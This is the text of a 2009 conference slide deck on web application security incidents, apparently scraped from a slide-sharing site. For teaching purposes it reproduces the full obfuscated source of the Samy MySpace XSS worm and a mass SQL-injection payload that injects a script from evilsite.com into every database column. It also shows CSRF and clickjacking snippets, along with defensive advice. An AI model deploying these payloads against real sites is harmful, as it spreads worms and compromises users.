web app security horror stories

66
Web App Security Horror Stories Simon Willison, 6th March 2009 Saturday, 7 March 2009

Upload: simon-willison

Post on 07-Nov-2014

23.205 views

Category:

Technology


0 download

DESCRIPTION

Presented at FOWA Dublin on 6th March 2009.

TRANSCRIPT

Page 1: Web App Security Horror Stories

Web App SecurityHorror Stories

Simon Willison, 6th March 2009

Saturday, 7 March 2009

Page 2: Web App Security Horror Stories

This talk is about learning from other people’s mistakes

Saturday, 7 March 2009

Page 3: Web App Security Horror Stories

XSS(cross site scripting)

Saturday, 7 March 2009

Page 4: Web App Security Horror Stories

Never let anyone inject their JavaScript

in to your page

Rule one:

Saturday, 7 March 2009

Page 5: Web App Security Horror Stories

• Steal your users’ cookies and log in as them

• Embed malware and drive-by downloads

• Show a fake phishing login page on your site

• Perform any action as if I was your user

If you have an XSS hole, I can

Saturday, 7 March 2009

Page 6: Web App Security Horror Stories

http://www.flickr.com/photos/tammets/2116105196/Saturday, 7 March 2009

Page 7: Web App Security Horror Stories

<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')} function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+ 'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']=' heroes';AS['submit']='Preview'; AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero, 'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit'; AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing, 'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L, processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm??useaction=invite.addFriendsProcess&Mytoken='+AR,nothing, 'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

Saturday, 7 March 2009

Page 8: Web App Security Horror Stories

samy is my herohttp://namb.la/popular/

Saturday, 7 March 2009

Page 9: Web App Security Horror Stories

MySpace customisation was “kind of a mistake”

http://bit.ly/myspace-mistake

Saturday, 7 March 2009

Page 10: Web App Security Horror Stories

A social network worm

• When you viewed Samy’s profile...

• JS makes you add him as a friend

• JS uses XMLHttpRequest to add his exploit to YOUR profile as well

Saturday, 7 March 2009

Page 11: Web App Security Horror Stories

12:34 pm: You have 73 friendsI decided to release my little popularity program. I'm going to be famous... among my friends.

1:30 am: You have 73 friends and 1 friend requestOne of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning.

8:35 am: You have 74 friends and 221 friend requestsWoah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah.

9:30 am: You have 74 friends and 480 friend requestsOh wait, it's exponential, isn't it. Shit.

4th October 2005

Saturday, 7 March 2009

Page 12: Web App Security Horror Stories

12:34 pm: You have 73 friendsI decided to release my little popularity program. I'm going to be famous... among my friends.

1:30 am: You have 73 friends and 1 friend requestOne of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning.

8:35 am: You have 74 friends and 221 friend requestsWoah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah.

9:30 am: You have 74 friends and 480 friend requestsOh wait, it's exponential, isn't it. Shit.

4th October 2005

Saturday, 7 March 2009

Page 13: Web App Security Horror Stories

12:34 pm: You have 73 friendsI decided to release my little popularity program. I'm going to be famous... among my friends.

1:30 am: You have 73 friends and 1 friend requestOne of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning.

8:35 am: You have 74 friends and 221 friend requestsWoah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah.

9:30 am: You have 74 friends and 480 friend requestsOh wait, it's exponential, isn't it. Shit.

4th October 2005

Saturday, 7 March 2009

Page 14: Web App Security Horror Stories

12:34 pm: You have 73 friendsI decided to release my little popularity program. I'm going to be famous... among my friends.

1:30 am: You have 73 friends and 1 friend requestOne of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning.

8:35 am: You have 74 friends and 221 friend requestsWoah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah.

9:30 am: You have 74 friends and 480 friend requestsOh wait, it's exponential, isn't it. Shit.

4th October 2005

Saturday, 7 March 2009

Page 15: Web App Security Horror Stories

20 hours, 1,005,831 friend requests

(then MySpace crashed)

Saturday, 7 March 2009

Page 16: Web App Security Horror Stories

Google’s UTF-7 hole

Saturday, 7 March 2009

Page 17: Web App Security Horror Stories

The UTF-7 hole

• Google’s 404 pages didn't specify a charset

• IE inspected the first 4096 bytes to “guess” the encoding of the page

• UTF-7 XSS attacks slipped through Google's XSS filters but were executed by IE

http://shiflett.org/blog/2005/dec/googles-xss-vulnerability

Saturday, 7 March 2009

Page 18: Web App Security Horror Stories

You can’t trust CSS either

• HTC in IE and XBL in Mozilla are both vectors for JavaScript attacks

• A “position: absolute” hack was used to steal 30,000 MySpace passwords last year

http://community.livejournal.com/lj_dev/708069.html

http://www.securiteam.com/securitynews/6O00M0AHFW.html

Saturday, 7 March 2009

Page 19: Web App Security Horror Stories

SQL injection

Saturday, 7 March 2009

Page 20: Web App Security Horror Stories

Inexcusable.Use paramaterised queries, or an ORM

Saturday, 7 March 2009

Page 21: Web App Security Horror Stories

If you’re gluing SQL together using string

appends

Saturday, 7 March 2009

Page 22: Web App Security Horror Stories

$sql = "select * from users where nick = '". mysql_real_escape_string($username) . "'";

Bad (even though it's secure):

$sql = build_query( "select * from users where nick = ?", $nick);

Good:

Saturday, 7 March 2009

Page 23: Web App Security Horror Stories

Mass XSS via SQL injectionDECLARE @T varchar(255), @C varchar(255);DECLARE Table_Cursor CURSOR FORSELECT a.name, b.nameFROM sysobjects a, syscolumns bWHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167);OPEN Table_Cursor;FETCH NEXT FROM Table_Cursor INTO @T, @C;WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update [' + @T + '] set [' + @C + '] = rtrim(convert(varchar,[' + @C + ']))+ ''<script src=http://evilsite.com/1.js></script>''' ); FETCH NEXT FROM Table_Cursor INTO @T, @C;END;CLOSE Table_Cursor;DEALLOCATE Table_Cursor;

http://hackademix.net/2008/04/26/mass-attack-faq/

Saturday, 7 March 2009

Page 24: Web App Security Horror Stories

CSRF

Saturday, 7 March 2009

Page 25: Web App Security Horror Stories

“We’ve found CSRF vulnerabilities in sites that have a

huge incentive to do security correctly. If you’re in charge of a website and haven’t specifically

protected against CSRF, chances are you’re vulnerable”

- Bill Zeller

Saturday, 7 March 2009

Page 26: Web App Security Horror Stories

Ever see a link like this?

<a href="http://app.example.com/delete.php?id=1">Delete</a>

Saturday, 7 March 2009

Page 27: Web App Security Horror Stories

Now what if I do this:

<img src="http://app.example.com/delete.php?id=1"><img src="http://app.example.com/delete.php?id=2"><img src="http://app.example.com/delete.php?id=3"><img src="http://app.example.com/delete.php?id=4"><img src="http://app.example.com/delete.php?id=5">

... and trick you in to visiting my site?

Saturday, 7 March 2009

Page 28: Web App Security Horror Stories

POST will not save you<form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="1"> <input type="submit" value="More kittens please!"></form>

http://www.flickr.com/photos/fofurasfelinas/9724483/Saturday, 7 March 2009

Page 29: Web App Security Horror Stories

Or submit with JavaScript

<div style="display: none"><form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="1"></form></div>

<script>document.forms[0].submit()</script>

Saturday, 7 March 2009

Page 30: Web App Security Horror Stories

The Digg exploit

• A few years ago, Digg had no CSRF protection on their “digg this” button

• The result: self-digging pages!

http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/

Saturday, 7 March 2009

Page 31: Web App Security Horror Stories

http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/

The Gmail filter hack

Saturday, 7 March 2009

Page 33: Web App Security Horror Stories

Preventing CSRF

• You need to distinguish between form interactions from your user on your site, and form interactions from your user on some other site

• Referrer checking is notoriously unreliable

• Solution: include a form token (Yahoo! calls this a “crumb”) proving that the post came from your site

Saturday, 7 March 2009

Page 34: Web App Security Horror Stories

Crumbs<form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="37"> <input type="hidden" name="crumb" value="856c2f50ddc49fd710f14a406ec1fef652d3c9f"> <input type="submit" value="Delete this item"></form>

Saturday, 7 March 2009

Page 35: Web App Security Horror Stories

Protecting the crumb

• Your crumb is now the only thing protecting you from CSRF attacks

• This is why XSS is such a big deal

• With XSS, I can steal your crumb and run riot across your site

• XSS holes are automatically CSRF holes

Saturday, 7 March 2009

Page 36: Web App Security Horror Stories

Login CSRF

Saturday, 7 March 2009

Page 37: Web App Security Horror Stories

Use CSRF to force a user to sign in to an account you have created on a

trusted site

Saturday, 7 March 2009

Page 38: Web App Security Horror Stories

... and wait for them to add private information,

such as their credit card details

Saturday, 7 March 2009

Page 39: Web App Security Horror Stories

Clickjacking

Saturday, 7 March 2009

Page 40: Web App Security Horror Stories

Saturday, 7 March 2009

Page 41: Web App Security Horror Stories

iframe!

Saturday, 7 March 2009

Page 42: Web App Security Horror Stories

Saturday, 7 March 2009

Page 43: Web App Security Horror Stories

Saturday, 7 March 2009

Page 44: Web App Security Horror Stories

Saturday, 7 March 2009

Page 45: Web App Security Horror Stories

Saturday, 7 March 2009

Page 46: Web App Security Horror Stories

Saturday, 7 March 2009

Page 47: Web App Security Horror Stories

<style type="text/css">iframe { width: 400px; height: 200px; position: absolute; top: 10px; left: 10px; overflow: hidden; opacity: 0;}#decoy { ...}</style>

<iframe src="http://veryimportantapp.com/delete-account/"></iframe>

<p id="decoy">Click HERE for kittens!</p>

Saturday, 7 March 2009

Page 48: Web App Security Horror Stories

Clickjacking protection

• Frame busting JavaScript

• <iframe security="restricted"> in IE

• "X-FRAME-OPTIONS: DENY" in IE 8

• The NoScript extension for Firefox

Saturday, 7 March 2009

Page 49: Web App Security Horror Stories

Saturday, 7 March 2009

Page 50: Web App Security Horror Stories

Saturday, 7 March 2009

Page 51: Web App Security Horror Stories

Anti click-jacking

Saturday, 7 March 2009

Page 52: Web App Security Horror Stories

Admin accesshorror stories

Saturday, 7 March 2009

Page 53: Web App Security Horror Stories

Saturday, 7 March 2009

Page 54: Web App Security Horror Stories

Saturday, 7 March 2009

Page 55: Web App Security Horror Stories

Saturday, 7 March 2009

Page 56: Web App Security Horror Stories

How did they do it?

They guessed the URLSaturday, 7 March 2009

Page 57: Web App Security Horror Stories

The Twitter hack

• A bored teenager ran a brute force attack against a popular Twitter user

• "happiness" is a dictionary word

• She happened to be Twitter staff, with admin access

Saturday, 7 March 2009

Page 58: Web App Security Horror Stories

Saturday, 7 March 2009

Page 59: Web App Security Horror Stories

Keep admin accounts separate from regular

user accounts

Saturday, 7 March 2009

Page 60: Web App Security Horror Stories

crossdomain.xml

Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs

Flash can even fake an X-Requested-With: XMLHttpRequest header

That’s why Flickr use api.flickr.com/crossdomain.xml instead

<cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>

Saturday, 7 March 2009

Page 61: Web App Security Horror Stories

crossdomain.xml

<cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>

Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs

That’s why Flickr use api.flickr.com/crossdomain.xml instead

Saturday, 7 March 2009

Page 62: Web App Security Horror Stories

YouTube/Gmail combo attack!

1. Attacker emails a special SWF to a Gmail account they control and locates the attachment download URL on google.com

2. Logged-in YouTube user visits an attacker controlled page

3. Attacker forces their victim to authenticate to the attackers Gmail account (using login CSRF)

4. Attacker embeds SWF from the Gmail account into the web page

5. Attacker now has read write access on YouTube.com as the victim’s account

http://jeremiahgrossman.blogspot.com/2008/09/i-used-to-know-what-you-watched-on.html

<allow-access-from domain="*.google.com" />

Saturday, 7 March 2009

Page 63: Web App Security Horror Stories

No matter how hard you try, you can’t secure your site 100%

There’s always a chance a browser, plugin or compromised

client machine will screw everything up anyway

Saturday, 7 March 2009

Page 64: Web App Security Horror Stories

... and 70% of users will give their password to a stranger in exchange for a bar of chocolate

http://news.bbc.co.uk/1/hi/technology/3639679.stm

Saturday, 7 March 2009

Page 65: Web App Security Horror Stories

Thank you!

Saturday, 7 March 2009